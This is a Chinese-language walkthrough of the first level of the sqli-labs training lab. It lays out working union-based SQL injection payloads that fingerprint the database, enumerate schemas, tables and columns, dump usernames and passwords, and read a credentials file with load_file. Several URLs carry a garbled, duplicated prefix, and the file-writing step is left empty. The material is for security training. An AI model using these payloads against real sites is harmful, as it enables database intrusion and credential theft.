sqli-labs实战第一关

1. 判断是否存在sql注入

http://127.0.0.1/Less-1/?id=2   正常
http://127.0.0.1/Less-1/?id=2'   报错
http://127.0.0.1/Less-1/?id=2' and '1'='1   正常
http://127.0.0.1/Less-1/?id=2' and '1'='2   报错
存在sql注入

2. 确定字段数

http://127.0.0.1/Less-1/?id=2' order by 3--+   正常
http://127.0.0.1/Less-1/?id=2' order by 4--+   报错
字段为3

3. 确定回显点
  • http://127.0.0.1/Less-1/?id=-2' union select 1,2,3--+
    将2改为-2使union之前的报错,查询 1,2,3 结果 2,3回显,所以可以在2,3处构造查询语句,下面以在3处为例
4. 信息收集
  • 判断数据库类型
    http://127.0.0.1/Less-1/?id=2'   错误页面显示mysql数据库
  • 获取数据库版本
    http://127.0.0.1/Less-1/?id=-2' union select 1,2,version()--+
  • 数据库用户
      获取系统用户名:
      http://127.0.0.1/Less-1/?id=-2' union select 1,2,system_user()--+
      获取用户:
      http://127.0.0.1/Less-1/?id=-2' union select 1,2,user()--+
      获取当前用户:
      http://127.0.0.1/Less-1/?id=-2' union select 1,2,current_user()--+
      获取连接数据库的用户:
      http://127.0.0.1/Less-1/?id=-2' union select 1,2,session_user()--+
5. 获取数据
  • 数据库信息
    方法一:
    http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select schema_name from information_schema.schemata limit 0,1)--+
    方法二:
    http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+
    返回结果:
    information_schema,challenges,mysql,performance_schema,security
  • 数据表信息
    http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
    十六进制法:
    http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)--+
    这里也可以使用当前库法:
    http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
    返回结果:
    emails,referers,uagents,users
  • 数据列信息
    http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+
    也可以使用十六进制法
    返回结果:
    id,username,password
  • 获取数据
    单条获取:
    http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select concat_ws('~',username,password) from security.users limit 0,1)--+
    获取所有:
    http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(username,'~',password) from security.users limit 0,1)--+
    注:"~"可以使用0x7e代替
6. 提权

mysql不能直接执行系统命令,所以只能通过读写文件的方式完成提权
1. 读文件
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select load_file('/var/www/html/sql-connections/db-creds.inc'))--+
执行上面的命令后需要查看源代码才能在网页中看到文件内容
2. 写文件

源码分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
#没有对id做任何处理就直接带入到数据库中执行

你可能感兴趣的:(sqli-labs实战第一关)